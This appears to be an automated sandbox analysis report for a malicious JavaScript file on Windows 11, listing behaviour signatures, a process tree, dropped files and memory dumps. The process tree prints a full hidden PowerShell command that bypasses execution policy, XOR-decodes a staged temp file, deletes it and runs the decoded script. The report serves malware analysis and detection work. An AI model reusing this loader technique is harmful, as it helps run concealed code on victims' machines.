Analysis
- max time kernel
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
06/07/2026, 10:49
General
- Target PRQ-60.js
- Size 1.4MB
- Sample260706-mwtx2ady91
- SHA256 17181ba69a193bef46ab7eddf1a451241f7aea03d58c5a8c60a89df3e3cb56e7
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\PRQ-60.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\cfg_49259_2107').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cfg_49259_2107' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0xA5};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};iex $sc"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\00u23jag\00u23jag.cmdline"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE74E.tmp" "c:\Users\Admin\AppData\Local\Temp\00u23jag\CSCA26FEEA648B2436DB4DE7FC6D8754.TMP"4⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
00u23jag.dll
RESE74E.tmp
cfg_49259_2107
00u23jag.0.cs
00u23jag.cmdline
CSCA26FEEA648B2436DB4DE7FC6D8754.TMP
memory/3012-33-0x0000000140000000-0x000000014004A000-memory.dmp
memory/5388-18-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-19-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-12-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-13-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-14-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-15-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-16-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-17-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-8-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-11-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-6-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-1-0x00007FFB94E2F000-0x00007FFB94E30000-memory.dmp
memory/5388-5-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-32-0x000002279C1E0000-0x000002279C1E8000-memory.dmp
memory/5388-4-0x000002279C1A0000-0x000002279C1C2000-memory.dmp
memory/5388-10-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-7-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp
memory/5388-35-0x00007FFB94CA0000-0x00007FFB95644000-memory.dmp